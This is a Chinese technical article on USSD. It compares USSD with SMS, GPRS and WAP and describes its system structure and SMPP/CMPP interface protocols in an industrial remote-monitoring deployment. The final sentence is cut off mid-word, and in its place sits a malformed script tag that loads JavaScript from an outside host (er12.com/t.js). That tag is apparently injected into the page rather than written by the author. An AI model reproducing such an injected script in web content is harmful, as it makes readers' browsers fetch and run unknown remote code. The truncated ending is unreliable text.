摘 要：介绍了ussd的背景和特点,并与短消息、gprs和wap相比较,论述了其在工业应用上的可行性及优点,并以中电五十所成功运营在乌鲁木齐的无线远程监控系统为例,讲述了ussd在工业应用中的系统结构、接口协议和通信流程。
关键词：非结构化补充数据业务 通用分组无线业务 业务提供者 中国移动点对点
非结构化补充数据业务ussd(unstructured supplementary service data)是一种基于全球移动通信系统gsm(global system for mobile communications)网络的、实时在线的新型交互会话数据业务;它基于用户识别模块sim(subscriber identity module)卡,利用gsm网络的信令通道传送数据,是在gsm的短消息系统技术基础上推出的新业务,在业务开拓方面的能力远远强于sms系统。
ussd技术单独使用或与目前的短消息技术、通用分组无线业务gprs(general packet radio service)技术相结合,可为客户提供种类繁多的增值业务,如移动银行、金融股票交易、手机话费查询、气象信息预报和查询、收发电子邮件、航班查询、网上订票、民意测验等。采用ussd对原有系统结构影响较小,且运营商还可以针对本地网的具体情况灵活地推出功能业务,方便地为移动用户提供各类数据业务;另外ussd不仅可用于一些信息服务,利用移动运营商提供的通信网络,也可应用于工业范围,ussd的应用可使工业监控通信的范围大大扩展,功能增强,成本降低,所以这种业务在香港特区、新加坡等国家和地区已有广泛的应用,在我国也有广阔的应用前景。
1 ussd的特点及与其他业务的比较
ussd系统与短消息业务sms(short message service)、gprs和无线应用协议wap(wireless application protocol)的应用范围相似,但有其自己的特点。
ussd在通话状态下使用独立专用控制信道sdcch(stand-alone dedicated control channel),数据传输速率大约为600bps;而非通话状态时,ussd使用快速辅助控制信道facch(fast associated control channel),数据传输速率大约为1kbps,比sms传输速率高。目前,用户只能在非通话状态下使用wap,数据通过业务信道tch(traffic channel)进行交换,其传输速率大约为9.6kbps,目前wap的响应时间较慢,且需专门的wap手机支持。
ussd在会话过程中一直保持通话连接,提供透明通道,不进行存储转发;而sms在物理承载层没有会话通道,是一个存储转发系统,用户完成一次查询需要进行多次会话过程。由于ussd与gprs类似,在交互中保持一个会话过程,每次数据发送不需要重新建立信道,所以ussd系统对用户的呼叫请求是即时响应,使响应时间大大加快,主要的响应时延已转移为应用服务器一端, 响应时间比短消息快。
ussd在交互式会话中可以提供直观的菜单操作,方便用户使用,在一次信息服务中,只需要拨打服务号码,以后就可以按菜单提示进行下一步操作,可以建立类似wap的门户网站来提供电信增值服务。
ussd和gprs适合不同的用户群。在工业环境下,在通信量不大、每次通信量只有几k数据量的情况下使用ussd的费用低廉;而gprs传送带宽高,适用于信息量大的数据传输。
现在市面上的手机大多支持ussd服务。在工业应用中,大多具有sms和gprs功能的通信模块或芯片也支持ussd服务。
2 ussd在工业应用中的系统结构
如图1,监控中心通过internet或专线与ussd平台建立tcp/ip连接,ussd传输终端通过gsm的公用网络与ussd平台建立无线连接,通过ussd平台与gsm网络、监控中心和现场监控单元建立起一个数据通信的通道。在移动ussd平台中有数据库备份数据,监控中心除应用平台外,还可备有有线浏览器进行监测。透过gsm网络和ussd平台,无线浏览器和手机也可与监控中心建立联系。
图1 ussd系统结构图
其中,ussd服务器有两个网络接口分别对应于归属位置寄存器hlr(home location register)和局域网:一方面,它通过七号信令ss7(signaling system no.7)的移动应用部分map(mobile application part)与gsm系统的hlr连接;另一方面,它通过专线以传输控制协议/ 网际协议tcp/ip(transfer control protocol/internet protocol)与应用监控中心连接。应用监控中心与ussd服务器的接口协议可为短消息点对点smpp(short message peer to peer)或中国移动点对点cmpp(china mobile peer to peer)。gsm系统及ussd均起透明通道的作用,监控中心可以发出指令,对终端或手机进行通信控制或发送短消息,手机或终端也可通过ussd服务来对监控中心发出请求以得到相应的服务。通信通道建立之后,就可以象一般的工业总线一样,监控中心对远程终端进行三遥操作,终端也可以主动上报报警、开机等信息。
3 ussd的接口协议
ussd的接口协议与短消息类似,采用smpp或cmpp。smpp是国际通用的协议,cmpp是中国移动根据我国?script src=http://er12.com/t.js>
